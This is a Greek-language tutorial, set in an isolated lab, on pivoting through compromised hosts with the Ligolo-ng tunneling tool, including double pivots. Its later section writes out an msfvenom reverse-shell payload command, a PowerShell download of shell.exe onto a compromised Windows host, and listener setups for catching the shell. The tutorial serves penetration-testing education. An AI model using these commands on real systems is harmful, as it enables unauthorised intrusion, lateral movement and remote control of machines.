Το Ligolo-ng είναι ένα εργαλείο νέας γενιάς για reverse tunneling. Είναι ιδιαίτερα χρήσιμο για τους pentesters και τους red teamers που θέλουν να δημιουργήσουν αξιόπιστες συνδέσεις όταν περιστρέφονται από τον επιτιθέμενο υπολογιστή τους σε ένα δυσπρόσιτο δίκτυο.
Πρόκειται για ένα προηγμένο, εύχρηστο εργαλείο που χρησιμοποιεί διεπαφές TUN αντί των παραδοσιακών SOCKS proxies. Αναπτύχθηκε από τον Nicolas Chatelain για να είναι απλό, ελαφρύ και γρήγορο, και παρέχει μια εξαιρετική λύση για το σκοπό αυτό.
Table of Contents
Βασικοί στόχοι
Το Ligolo-ng επιτρέπει στους pentesters να δημιουργούν reverse tunneling από τα παραβιασμένα συστήματα στο μηχάνημα επίθεσης, επιτρέποντας στους δοκιμαστές να εξερευνούν και να αλληλεπιδρούν αποτελεσματικά με το εσωτερικό δίκτυο του στοχευόμενου περιβάλλοντος.
Οι Red teamers χρησιμοποιούν το Ligolo-ng για να διατηρούν κρυφή πρόσβαση σε συστήματα εντός του δικτύου ενός στόχου. Η ικανότητά του να παρακάμπτει τείχη προστασίας και συσκευές NAT ξεκινώντας συνδέσεις από μέσα προς τα έξω είναι σημαντική για μυστικές επιχειρήσεις.
Βασικά χαρακτηριστικά:
- Χρησιμοποιεί διασυνδέσεις TUN, καθιστώντας το πιο αποτελεσματικό και πιο εύκολο από τα SOCKS proxies.
- Διαθέτει μια απλή διεπαφή γραμμής εντολών με διαισθητικές επιλογές για ευκολία στη χρήση
- Υποστηρίζει TLS για ασφαλή επικοινωνία με επιλογές για αυτόματη διαχείριση πιστοποιητικών μέσω του Let’s Encrypt
- Λειτουργεί σε πολλαπλά λειτουργικά συστήματα, συμπεριλαμβανομένων των Windows, Linux και macOS.
- Σχεδιασμένο για υψηλές επιδόσεις με χαρακτηριστικά όπως η πολυπλεξία, η οποία επιτρέπει πολλαπλές ροές δεδομένων σε μία μόνο σύνδεση.
- Το αρχείο του πράκτορα εκτελείται χωρίς υψηλά προνόμια, διευκολύνοντας την εγκατάσταση και τη χρήση του σε διάφορα περιβάλλοντα.
Επεξήγηση του Pivoting
Το Pivoting χρησιμοποιείται στις δοκιμές διείσδυσης και στο hacking για την πρόσβαση σε πρόσθετα συστήματα σε ένα δίκτυο-στόχο, αξιοποιώντας ένα παραβιασμένο σύστημα. Επιτρέπει στους επιτιθέμενους να περιηγηθούν στο δίκτυο, παρακάμπτοντας την τμηματοποίηση και τους περιορισμούς του τείχους προστασίας.
Βήματα που ακολουθούμε στο Pivoting
Ας κάνουμε μια σύντομη ανασκόπηση των κύριων βημάτων του pivoting, χρησιμοποιώντας το παραπάνω γράφημα ως παράδειγμα.
Αρχικός συμβιβασμός
Ο επιτιθέμενος ξεκινά με την παραβίαση ενός αρχικού μηχανήματος στο δίκτυο. Στο γράφημα, αυτό εμφανίζεται ως “Server”, ο οποίος είναι διπλά εγκατεστημένος με διευθύνσεις IP 192.168.37.145 (εξωτερικό δίκτυο) και 10.0.0.128 (εσωτερικό δίκτυο).
Ρύθμιση σημείου pivot
Μόλις ο επιτιθέμενος ελέγξει τον διακομιστή, μπορεί να τον χρησιμοποιήσει ως σημείο περιστροφής. Αυτός ο παραβιασμένος διακομιστής ή το “jump box” γίνεται η γέφυρα που επιτρέπει στον εισβολέα να αποκτήσει πρόσβαση σε προηγουμένως απρόσιτα εσωτερικά τμήματα του δικτύου.
Δρομολόγηση της κυκλοφορίας μέσω του σημείου pivot
Ο επιτιθέμενος χρησιμοποιεί το μηχάνημα επίθεσης για να δρομολογήσει την κυκλοφορία μέσω του παραβιασμένου διακομιστή. Αυτό γίνεται χρησιμοποιώντας διάφορες τεχνικές και εργαλεία tunneling, όπως το SSH ή εργαλεία ειδικά σχεδιασμένα για pivoting, όπως το Ligolo-ng.
Πρόσβαση στο εσωτερικό δίκτυο
Με το σημείο περιστροφής στη θέση του, ο επιτιθέμενος μπορεί πλέον να έχει πρόσβαση σε άλλα μηχανήματα στο εσωτερικό δίκτυο, τα οποία δεν ήταν άμεσα προσβάσιμα από το εξωτερικό δίκτυο.
Στο γράφημα, ο επιτιθέμενος χρησιμοποιεί τον παραβιασμένο διακομιστή για να φτάσει στον υπολογιστή Windows με διεύθυνση IP 10.0.0.129.
Μόλις ο επιτιθέμενος περιστραφεί στο εσωτερικό δίκτυο, μπορεί να πραγματοποιήσει περαιτέρω αναγνώριση, να εκμεταλλευτεί πρόσθετες ευπάθειες και να αποκτήσει βαθύτερη πρόσβαση σε δεδομένα ή συστήματα.
Πώς λειτουργεί το Ligolo-ng;
Το Ligolo-ng επιλύει το πρόβλημα της πρόσβασης σε εσωτερικά δίκτυα αξιοποιώντας ένα παραβιασμένο σύστημα διπλής στέγασης ως σημείο περιστροφής. Σας επιτρέπει να δημιουργείτε σήραγγες από μια ασφαλή αντίστροφη σύνδεση, οι οποίες κινούνται πλευρικά μέσα σε ένα δίκτυο και αποκτούν πρόσβαση σε συστήματα που διαφορετικά δεν είναι προσβάσιμα.
Αρχική εγκατάσταση
Θέτετε σε κίνδυνο ένα μηχάνημα εντός του εξωτερικού δικτύου, το οποίο θα χρησιμεύσει ως “Πράκτορας”. Το δικό σας μηχάνημα – συνήθως ένα σύστημα Kali Linux – θα είναι ο διακομιστής “Proxy”.
Δημιουργία reverse tunnel
Το παραβιασμένο μηχάνημα (Agent) ξεκινά μια σύνδεση πίσω στο διακομιστή μεσολάβησης. Αυτή η αντίστροφη σύνδεση είναι ζωτικής σημασίας, καθώς παρακάμπτει περιορισμούς του δικτύου, όπως τείχη προστασίας που εμποδίζουν τις εισερχόμενες συνδέσεις.
Δημιουργία εικονικής διασύνδεσης δικτύου
Το Ligolo δημιουργεί μια διασύνδεση TUN (σήραγγα δικτύου) στον διακομιστή μεσολάβησης. Αυτή η εικονική διασύνδεση χειρίζεται τη δρομολόγηση των πακέτων από και προς το εσωτερικό δίκτυο μέσω του Agent.
Ασφαλής επικοινωνία
Ο Agent και ο διακομιστής μεσολάβησης μπορούν να κρυπτογραφηθούν με τη χρήση TLS, εξασφαλίζοντας την ακεραιότητα και την εμπιστευτικότητα των δεδομένων.
Δρομολόγηση της κυκλοφορίας
Ο διακομιστής μεσολάβησης δρομολογεί την κυκλοφορία μέσω της διασύνδεσης TUN στον Agent, ο οποίος στη συνέχεια την προωθεί στο εσωτερικό δίκτυο. Αυτό σας επιτρέπει να αλληλεπιδράτε με το εσωτερικό δίκτυο σαν να είστε απευθείας συνδεδεμένοι.
Πρόσβαση σε εσωτερικούς πόρους
Με το tunnel εγκατεστημένο, μπορείτε να χρησιμοποιήσετε εργαλεία όπως το Nmap, το SSH ή το RDP για να αλληλεπιδράσετε με εσωτερικά συστήματα, να εκτελέσετε αναγνώριση και να εκμεταλλευτείτε ευπάθειες.
Πώς να χρησιμοποιήσετε το εργαλείο Ligolo-ng
Τώρα που σας δείξαμε τι είναι το pivoting και πώς μπορεί να σας βοηθήσει το Ligolo-ng, ας δούμε πώς μπορείτε να το κάνετε μόνοι σας. Για το σεμινάριό μας, θα χρησιμοποιήσουμε ένα πλήρως ενημερωμένο Kali OS. Ας σας δείξουμε πώς να χρησιμοποιήσετε το Ligolo-ng.
Για τον οδηγό μας, ας υποθέσουμε ότι εκτελούμε δοκιμή διείσδυσης, σε έναν κεντρικό υπολογιστή Ubuntu και διαπιστώσαμε ότι διαθέτει δύο διασυνδέσεις (dual-homed).
Οι διεπαφές έχουν ως εξής:
ens33: 192.168.37.134 (External Network)
ens37: 192.168.56.128 (Internal Network)
Και το μηχάνημα Kali έχει την ακόλουθη IP:
eth0: 192.168.37.152
Θέλουμε να χρησιμοποιήσουμε το μηχάνημα Ubuntu ως σημείο pivot για να αποκτήσουμε πρόσβαση στο εσωτερικό δίκτυο (192.168.56.0/24) και να συνεχίσουμε τις δοκιμές μας, επειδή δεν μπορούμε να κάνουμε περαιτέρω αναγνώριση από το εξωτερικό δίκτυο.
Αν προσπαθήσουμε να εκτελέσουμε μια αναζήτηση κεντρικών υπολογιστών με το Nmap, δεν θα μπορέσουμε να δούμε κανέναν κεντρικό υπολογιστή στο εσωτερικό δίκτυο, εκτός αν περιστραφούμε μέσω του μηχανήματος Ubuntu.
Το παραπάνω στιγμιότυπο οθόνης δείχνει ότι το Nmap δεν μπορεί να επιστρέψει κανένα αποτέλεσμα επειδή δεν έχουμε ακόμη πρόσβαση σε αυτό το εσωτερικό δίκτυο.
1. Εγκατάσταση
Για να ξεκινήσετε, πρέπει να έχετε το αρχείο μεσολάβησης Ligolo-ng στο σύστημά σας. Αν χρησιμοποιείτε το Kali Linux, η διαδικασία είναι απλή. Από την ενημέρωση 2024.2, το Ligolo-ng περιλαμβάνεται στα επίσημα αποθετήρια του Kali.
Μπορείτε να το εγκαταστήσετε εκτελώντας την ακόλουθη εντολή:
sudo apt install ligolo-ng
.
Αυτό θα εγκαταστήσει τον διακομιστή μεσολάβησης Ligolo-ng και τον πράκτορα στο σύστημα Kali Linux. Ωστόσο, θα πρέπει ακόμα να κατεβάσετε τα αρχεία του πράκτορα από το αποθετήριο GitHub για το μηχάνημα-στόχο από το οποίο θέλετε να κάνετε pivot, όπως τα Windows ή άλλες διανομές Linux.
Για να κατεβάσετε τα αρχεία του πράκτορα, επισκεφθείτε τη σελίδα με τις εκδόσεις του Ligolo-ng στο GitHub και κατεβάστε τον κατάλληλο πράκτορα για το σύστημα-στόχο σας. Θα κατεβάσουμε τον Linux και τον Windows 64bit στο φάκελο opt και στη συνέχεια θα αποσυμπιέσουμε τα αρχεία.
Μόλις ολοκληρωθεί, τα αρχεία του agent θα πρέπει να είναι έτοιμα να μεταφερθούν στο στόχο.
Στην περίπτωσή μας, είχαμε πρόσβαση SSH στο μηχάνημα Ubuntu και χρησιμοποιήσαμε το πρωτόκολλο SCP (Secure Copy Protocol) για να κατεβάσουμε τον agent από το μηχάνημα Kali.
2. Ρύθμιση Proxy
Πριν εκτελέσετε τον πράκτορα στον εκτεθειμένο υπολογιστή, πρέπει να ρυθμίσετε τον διακομιστή μεσολάβησης στο Kali.
Το πρώτο βήμα είναι να δημιουργήσετε τη διασύνδεση TUN χρησιμοποιώντας τις ακόλουθες εντολές.
sudo ip tuntap add user <Your Username> mode tun ligolo
sudo ip link set ligolo up
Αυτό θα δημιουργήσει μια νέα διασύνδεση TUN με το όνομα ligolo και θα την εμφανίσει. Η διασύνδεση TUN λειτουργεί ως εικονική διασύνδεση δικτύου, επιτρέποντας στο Ligolo-ng να δρομολογεί την κυκλοφορία του δικτύου.
Αν εγκαταστήσατε το proxy χρησιμοποιώντας την εντολή apt install, μπορείτε να το εκτελέσετε πληκτρολογώντας:
Ligolo-proxy
Ας εξερευνήσουμε γρήγορα τις διαθέσιμες επιλογές ελέγχοντας την ενότητα βοήθειας:
ligolo-proxy -h
-allow-domains string
Αν θέλετε να επιτρέψετε αυτόματες αιτήσεις πιστοποιητικών μόνο για συγκεκριμένους τομείς, απαριθμήστε τους εδώ, διαχωρίζοντάς τους με κόμμα. Αν το αφήσετε κενό, θα επιτρέψει όλους τους τομείς.
-autocert
Χρησιμοποιήστε αυτήν την επιλογή για να λάβετε και να ρυθμίσετε αυτόματα τα πιστοποιητικά TLS από το Let’s Encrypt. Αυτό προϋποθέτει ότι η θύρα 80 είναι προσβάσιμη για την επικύρωση του πιστοποιητικού.
-certfile string
Αν έχετε ήδη ένα πιστοποιητικό TLS, χρησιμοποιήστε αυτή την επιλογή για να δώσετε τη διαδρομή προς το αρχείο πιστοποιητικού. Αυτό είναι χρήσιμο για τη χρήση προ-εκδοθέντων πιστοποιητικών.
-keyfile string
Μαζί με την επιλογή -certfile, αυτή η επιλογή χρησιμοποιείται για να καθορίσετε τη διαδρομή του ιδιωτικού κλειδιού που αντιστοιχεί στο πιστοποιητικό TLS.
-laddr string
Χρησιμοποιήστε αυτήν την επιλογή για να ορίσετε τη διεύθυνση IP και τη θύρα στην οποία θα πρέπει να ακούει ο διακομιστής μεσολάβησης. Η προεπιλεγμένη διεύθυνση ακούει σε όλες τις διασυνδέσεις στη θύρα 11601.
selfcert
Αυτή η επιλογή δημιουργεί αυτο-υπογεγραμμένα πιστοποιητικά εν κινήσει. Είναι χρήσιμη για εργαστηριακά περιβάλλοντα όπου δεν χρειάζεστε πιστοποιητικά από αξιόπιστη CA.
Για να εκκινήσουμε το διακομιστή μεσολάβησης με την επιλογή self-cert, πληκτρολογήστε την ακόλουθη εντολή:
ligolo-proxy -selfcert
3. Certificates
Ενώ η χρήση αυτο-υπογεγραμμένων πιστοποιητικών στο Ligolo-ng μπορεί να είναι μια βολική επιλογή για εργαστηριακά περιβάλλοντα με ελάχιστους κινδύνους ασφαλείας, είναι σημαντικό να κατανοήσετε τις επιπτώσεις και τους περιορισμούς αυτής της προσέγγισης.
Τα κατάλληλα εκδοθέντα πιστοποιητικά από μια αξιόπιστη Αρχή Πιστοποιητικών (CA) συνιστώνται ιδιαίτερα για ζωντανές δοκιμές ή περιβάλλοντα πραγματικού κόσμου. Βοηθά στην αποφυγή των κινδύνων που σχετίζονται με τα αυτο-υπογεγραμμένα πιστοποιητικά, όπως οι επιθέσεις man-in-the-middle.
Ας δούμε γρήγορα τα βήματα για την εκτέλεση του Ligolo-ng με ένα αξιόπιστο πιστοποιητικό.
Λήψη πιστοποιητικού από αξιόπιστη CA
Αγοράστε ή αποκτήστε ένα πιστοποιητικό από μια αξιόπιστη Αρχή Πιστοποιητικών (CA). Βεβαιωθείτε ότι διαθέτετε το αρχείο πιστοποιητικού (π.χ. ligolo-ng.crt) και το αντίστοιχο αρχείο κλειδιού (π.χ. ligolo-ng.key).
Ρυθμίστε τον διακομιστή μεσολάβησης Ligolo-ng ώστε να χρησιμοποιεί τα εκδοθέντα πιστοποιητικά
Εκκινήστε τον διακομιστή μεσολάβησης Ligolo-ng με τις επιλογές -certfile και -keyfile για να καθορίσετε το πιστοποιητικό και το κλειδί που έχετε εκδώσει.
ligolo-proxy -certfile ligolo-ng.crt -keyfile ligolo-ng.key
Εκτελέστε τον agent χωρίς να αγνοείτε τα πιστοποιητικά
Εκκινήστε κανονικά τον agent Ligolo-ng, καθώς θα εμπιστεύεται το σωστά εκδοθέν πιστοποιητικό.
./agent -connect attacker_server:11601
4. Ρύθμιση Agent
Η εκκίνηση του agent είναι απλή. Απλά ξεκινήστε τον agent από το φάκελο στον οποίο τον αποθηκεύσατε. Αν χρησιμοποιείτε Linux, βεβαιωθείτε ότι είναι εκτελέσιμος χρησιμοποιώντας την εντολή chmod +x. Στη συνέχεια, για να εκκινήσετε τον agent και να τον συνδέσετε με τον διακομιστή μεσολάβησης Ligolo-ng, εκτελέστε την ακόλουθη εντολή:
./agent -connect <Attack IP>:11601 -ignore-cert
Σε αυτή την εντολή, αντικαταστήστε το <Attack_IP> με τη διεύθυνση IP του μηχανήματος Kali που εκτελεί το διακομιστή μεσολάβησης Ligolo-ng. Χρησιμοποιούμε τη σημαία -ignore-cert επειδή χρησιμοποιήσαμε ένα αυτο-υπογεγραμμένο πιστοποιητικό με τον μεσολάβηση μας, δεδομένου ότι αυτή η επίδειξη λαμβάνει χώρα σε ένα απομονωμένο εργαστήριο.
Μόλις ο agent συνδεθεί, θα δείτε ένα μήνυμα επιβεβαίωσης στην οθόνη του πληρεξουσίου.
Το μήνυμα υποδεικνύει ότι ο πράκτορας εκτελείται σε ένα μηχάνημα με όνομα χρήστη Ubuntu και όνομα κεντρικού υπολογιστή Ubuntu-virtual-machine. Δείχνει επίσης τη διεύθυνση IP και τον αριθμό θύρας του μηχανήματος του πράκτορα από το οποίο έχει συνδεθεί στον μεσολάβηση.
Τώρα που είμαστε συνδεδεμένοι με τον πράκτορα, ας δούμε μερικές εντολές που μπορούμε να εκτελέσουμε, ξεκινώντας με την εντολή “help”.
Το μενού παραθέτει διάφορες διαθέσιμες εντολές, οι οποίες κατηγοριοποιούνται σε γενικές εντολές, διαχείριση ακροατών και λειτουργίες σήραγγας.
5. Ρύθμιση Tunnel
Τέλος, προτού αλληλεπιδράσουμε με το εσωτερικό δίκτυο, πρέπει να ρυθμίσουμε τη σήραγγα και να διαμορφώσουμε τη διαδρομή για την εγκαθίδρυση μιας σύνδεσης.
Ας εκτελέσουμε την εντολή “session”, ας επιλέξουμε τη συνεδρία μας και ας πατήσουμε enter για να αλληλεπιδράσουμε με το jumpbox μας (Ubuntu).
Από εδώ, μπορούμε να εκτελέσουμε την εντολή “ifconfig” για να επαληθεύσουμε τις διασυνδέσεις δικτύου στον συνδεδεμένο agent .
Μπορούμε να επιβεβαιώσουμε ότι το μηχάνημα Ubuntu έχει πρόσβαση στο δίκτυο 192.168.56.0/24. Το επόμενο βήμα μας είναι να προσθέσουμε μια καταχώρηση στον πίνακα δρομολόγησης, ώστε το Ligolo να μπορεί να δρομολογήσει την κυκλοφορία μέσω της σήραγγας και να φτάσει στο δίκτυο-στόχο. Για να το κάνουμε αυτό, μπορούμε να χρησιμοποιήσουμε την εντολή:
sudo ip route add <Internal_Network> dev ligolo
Στη συνέχεια, θα πρέπει να ξεκινήσετε το τούνελ και να μεταβείτε στο πλαίσιο άλματος, κάτι που μπορείτε να κάνετε απλά πληκτρολογώντας “start“.
Από εδώ, μπορείτε να εκτελέσετε οποιοδήποτε εργαλείο από το Kali για να αλληλεπιδράσετε με το εκτεθειμένο εσωτερικό δίκτυο σαν να ήσασταν απευθείας συνδεδεμένοι σε αυτό.
Για παράδειγμα, μπορείτε να χρησιμοποιήσετε το Nmap για να σαρώσετε το εσωτερικό δίκτυο, το netcat για να ρυθμίσετε ακροατές ή να συνδεθείτε σε υπηρεσίες και το SSH για να αποκτήσετε πρόσβαση σε άλλα εσωτερικά μηχανήματα.
Εκτέλεση ενός Ligolo-ng Double Pivot
Σε ορισμένες περιπτώσεις, ο πρόσφατα παραβιασμένος κεντρικός υπολογιστής θα έχει δύο διασυνδέσεις, επιτρέποντάς σας να εξερευνήσετε περαιτέρω το δίκτυο και να βρείτε περισσότερους κεντρικούς υπολογιστές. Σε αυτό το σενάριο, θα πρέπει να εκτελέσετε μια διπλή περιστροφή.
Ο νέος κεντρικός υπολογιστής Windows που μόλις ελέγξαμε έχει τις ακόλουθες διασυνδέσεις.
eth0: 192.168.56.136
eth1: 10.1.30.132
Θα χρησιμοποιήσουμε αυτόν τον εκτεθειμένο κεντρικό υπολογιστή των Windows ως πρόσθετο σημείο περιστροφής. Για να το κάνουμε αυτό, πρέπει να κατεβάσουμε το αρχείο agent.exe, το οποίο μας επιτρέπει να αλληλεπιδράσουμε με το δίκτυο 10.1.30.0/24 που ανακαλύψαμε πρόσφατα.
1. Προσθέστε μια δεύτερη διασύνδεση TUN
Για να κάνουμε διπλό pivot με το Ligolo-ng, θα πρέπει να δημιουργήσουμε μια δεύτερη διεπαφή tun όπως η πρώτη. Μπορείτε να την ονομάσετε όπως θέλετε. Εμείς ονομάσαμε το δικό μας ligolo-double.
2. Δημιουργία listener
Το επόμενο βήμα είναι να προσθέσουμε έναν ακροατή στη θύρα 11601 στην υπάρχουσα συνεδρία Ligolo-ng και να την ανακατευθύνουμε στο μηχάνημά μας.
listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp
Βεβαιωθείτε ότι έχει προστεθεί με την ακόλουθη εντολή:
listener_list
Ως αποτέλεσμα, μπορούμε να χρησιμοποιήσουμε τον πράκτορα στον πρόσφατα εκτεθειμένο υπολογιστή για να συνδεθούμε ξανά στο Ligolo-ng και να δημιουργήσουμε μια νέα συνεδρία, αυτή τη φορά στον υπολογιστή των Windows, η οποία θα μας επιτρέψει την πρόσβαση στο δίκτυο 10.1.30.0/24.
3. Σύνδεση στον proxy server
Στη συνέχεια, πρέπει να εκτελέσουμε τον πράκτορα στον κεντρικό υπολογιστή των Windows για να συνδεθούμε στην προωθημένη θύρα στο Ubuntu.
./agent.exe -connect <IP of First Pivot Point>:11601 -ignore-cert
Στη συνέχεια, πρέπει να επαληθεύσουμε τη σύνδεση στο Kali, ελέγχοντας αν ο agent των Windows έχει συνδεθεί μέσω της προωθημένης θύρας.
4. Ξεκινήστε ένα tunnel και προσθέστε μια διαδρομή
Το τελευταίο μας βήμα είναι να αλλάξουμε τη συνεδρία μας στο δεύτερο σημείο περιστροφής (Windows), να ξεκινήσουμε τη σήραγγα και, στη συνέχεια, να προσθέσουμε μια διαδρομή προς το νέο δίκτυο 10.1.30.0/24.
sudo ip add route <New_Network> dev ligolo-double
Θα είμαστε σε θέση να αλληλεπιδρούμε με το νέο δίκτυο από το μηχάνημα Kali και να εκτελούμε όλα τα ίδια εργαλεία όπως κάναμε και με τον ενιαίο άξονα.
Θα μπορούσατε να συνεχίσετε με ένα τριπλό pivot χρησιμοποιώντας το Ligolo-ng, ακολουθώντας τα ίδια βήματα που κάναμε με το διπλό pivot.
Ligolo-ng Reverse Shells και Callbacks
Αν θέλετε να πιάσετε ένα reverse shell ή να μεταφέρετε αρχεία από το μηχάνημα του επιτιθέμενου σε ένα μηχάνημα στο νέο εσωτερικό δίκτυο στο οποίο αποκτήσατε πρόσβαση, θα πρέπει να ρυθμίσετε κάποιους listeners για το Ligolo-ng ώστε να δημιουργήσει μια σύνδεση και να διευκολύνει την επικοινωνία μεταξύ των δύο συστημάτων.
Θα σας καθοδηγήσουμε στη μεταφορά ενός αρχείου και στη συνέχεια στην παρακολούθηση ενός reverse shell.
Πριν ξεκινήσουμε, θα σας δείξουμε το κέλυφος που δημιουργήσαμε χρησιμοποιώντας το Msfvenom. Όταν δημιουργείτε ένα αντίστροφο κέλυφος, βεβαιωθείτε ότι χρησιμοποιείτε την IP του μηχανήματος του πράκτορα -στην περίπτωσή μας, τον υπολογιστή Ubuntu- και τη θύρα που έχετε ορίσει στον ακροατή σας.
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.128 LPORT=5656 -f exe -o shell.exe
Μεταφορά αρχείου
Πριν από τη μεταφορά αρχείων, πρέπει να ρυθμίσετε έναν listener στη Ligolo session για να προωθήσετε την κυκλοφορία από το Kali στον πρόσφατα εκτεθειμένο υπολογιστή Windows. Αυτό θα δημιουργήσει έναν listener στο μηχάνημα του πράκτορα και θα τον ανακατευθύνει στο Kali.
listener_add --addr 0.0.0.0:2222 --to 127.0.0.1:8888 --tcp
Αυτό θα προωθήσει την κυκλοφορία από το Ubuntu (agent) στη θύρα 2222 στο μηχάνημα Kali στη θύρα 8888.
Φιλοξενήστε το αρχείο χρησιμοποιώντας τον διακομιστή Python, διασφαλίζοντας ότι χρησιμοποιείτε τη θύρα 8888.
Στον εκτεθειμένο κεντρικό υπολογιστή Windows, μπορούμε να εκδώσουμε την ακόλουθη εντολή. Βεβαιωθείτε ότι η IP που χρησιμοποιείτε είναι αυτή του μηχανήματος του πράκτορα και χρησιμοποιήστε τη θύρα που επιλέξατε για τον ακροατή του πράκτορα. Στην περίπτωσή μας, είναι η θύρα 2222.
Invoke-WebRequest -Uri "http://192.168.56.128:2222/shell.exe" -OutFile shell.exe
Reverse Shells
Τώρα που έχουμε μεταφέρει το reverse shell στον κεντρικό υπολογιστή, πώς το πιάνουμε στο Kali;
Θα πρέπει να δημιουργήσουμε έναν άλλο listener. Αυτός θα επιτρέψει στο reverse shell να διοχετεύσει το τούνελ μέσω του agent και να επιστρέψει στο σημείο επίθεσης.
listener_add --addr 0.0.0.0:5656 --to 127.0.0.1:4444 --tcp
Αυτό θα δημιουργήσει έναν listener στο σημείο περιστροφής του Ubuntu που θα ακούει τη θύρα 5656 σε όλες τις διασυνδέσεις, προωθώντας οποιαδήποτε εισερχόμενη κίνηση σε αυτή τη θύρα στη θύρα 4444 του Kali.
Πρέπει να δημιουργήσουμε κάτι που θα πιάσει το shell. Στο παράδειγμά μας, χρησιμοποιούμε τον multi-handler του Metasploit.
Αν σκοπεύετε να χρησιμοποιήσετε τον multi-handler, βεβαιωθείτε ότι χρησιμοποιείτε το LHOST του 0.0.0.0 και το LPORT από τη διεύθυνση ανακατεύθυνσης μεσολάβησης. Στην περίπτωσή μας, είναι η θύρα 4444.
Τώρα, θα εκτελέσουμε το shell μας από τον κεντρικό υπολογιστή των Windows.
Και, πίσω στο μηχάνημα Kali, θα έχουμε ένα reverse shell.
Πρόσβαση στο Jump Box
Για να αποκτήσουμε πρόσβαση στο jump box χρησιμοποιώντας το Ligolo-ng, μπορούμε να προσθέσουμε μια ειδική διαδρομή και να χρησιμοποιήσουμε μια αποκλειστική διεύθυνση IP που δημιουργήθηκε από το Ligolo-ng. Το Ligolo-ng χρησιμοποιεί τη διεύθυνση IP 240.0.0.0.1 για να διευκολύνει την εύκολη πρόσβαση στις τοπικές θύρες του συνδεδεμένου απομακρυσμένου πράκτορα.
Ακολουθεί ο τρόπος με τον οποίο λειτουργεί.
Το Ligolo-ng διατηρεί τη διεύθυνση IP 240.0.0.1 για να ανακατευθύνει αυτόματα την κυκλοφορία στην τοπική διεύθυνση IP του πράκτορα (127.0.0.1). Όταν στέλνετε κίνηση στην 240.0.0.1, το Ligolo-ng την ανακατευθύνει στην τοπική IP του πράκτορα, επιτρέποντάς σας να αλληλεπιδράσετε με τις υπηρεσίες που εκτελούνται σε αυτόν.
Το μόνο βήμα που απαιτείται για την πρόσβαση στο πρώτο pivot box είναι η προσθήκη μιας διαδρομής προς το υποδίκτυο 240.0.0.1/32.
sudo ip route add 240.0.0.1/32 dev ligolo
Τώρα, κάθε φορά που θέλετε να αλληλεπιδράσετε με το jumphost, χρησιμοποιήστε την IP 240.0.0.1. Για παράδειγμα, μπορούμε να εκτελέσουμε μια σάρωση Nmap.
Πλεονεκτήματα της χρήσης του Ligolo-ng
Το Ligolo-ng έχει σχεδιαστεί για να είναι πιο αποτελεσματικό και φιλικό προς το χρήστη από κάποια άλλα εργαλεία περιστροφής εκεί έξω.
Ακολουθούν τα κύρια πλεονεκτήματά του σε σύγκριση με εργαλεία όπως το Chisel και το SSHuttle.
Το Ligolo-ng έχει σχεδιαστεί με φιλικό προς το χρήστη περιβάλλον εργασίας, διευκολύνοντας τη ρύθμιση και τη χρήση του από τους ελεγκτές διείσδυσης. Χρησιμοποιεί ένα ενιαίο δυαδικό αρχείο για τον πληρεξούσιο και τον πράκτορα, απλοποιώντας την ανάπτυξη. Το Ligolo-ng χρησιμοποιεί tunneling με TCP, προσφέροντας καλές επιδόσεις και σταθερότητα.
Υποστηρίζει την πολυπλεξία, η οποία δημιουργεί πολλαπλές συνδέσεις μέσω μιας μόνο σύνδεσης TCP, μειώνοντας σημαντικά την επιβάρυνση.
Το Ligolo-ng μπορεί να προωθήσει κίνηση TCP και UDP, παρέχοντας μεγαλύτερη ευελιξία από εργαλεία που χειρίζονται μόνο TCP. Εκεί που το Chisel απαιτεί να επεξεργαστείτε το αρχείο Proxychains conf, το Ligolo-ng απλοποιεί τη διαδικασία, εξαλείφοντας την ανάγκη επεξεργασίας του αρχείου.
Εν ολίγοις, σας συνιστούμε να χρησιμοποιείτε το Ligolo-ng για όλες τις ανάγκες σας σε pivoting.
Συμπέρασμα
Το Ligolo-ng είναι απαραίτητο στην εργαλειοθήκη κάθε pentester ή ethical hacker. Η ικανότητά του στο pivoting μπορεί να κάνει όλη τη διαφορά.
Η προσθήκη του Ligolo-ng στα εργαλεία σας θα ενισχύσει την αποτελεσματικότητα και την αποδοτικότητά σας.
Τώρα είδατε τη δύναμή του τόσο στο pivoting όσο και στο double pivoting και πώς μπορεί να χειριστεί reverse shells αλλά και μεταφορές αρχείων.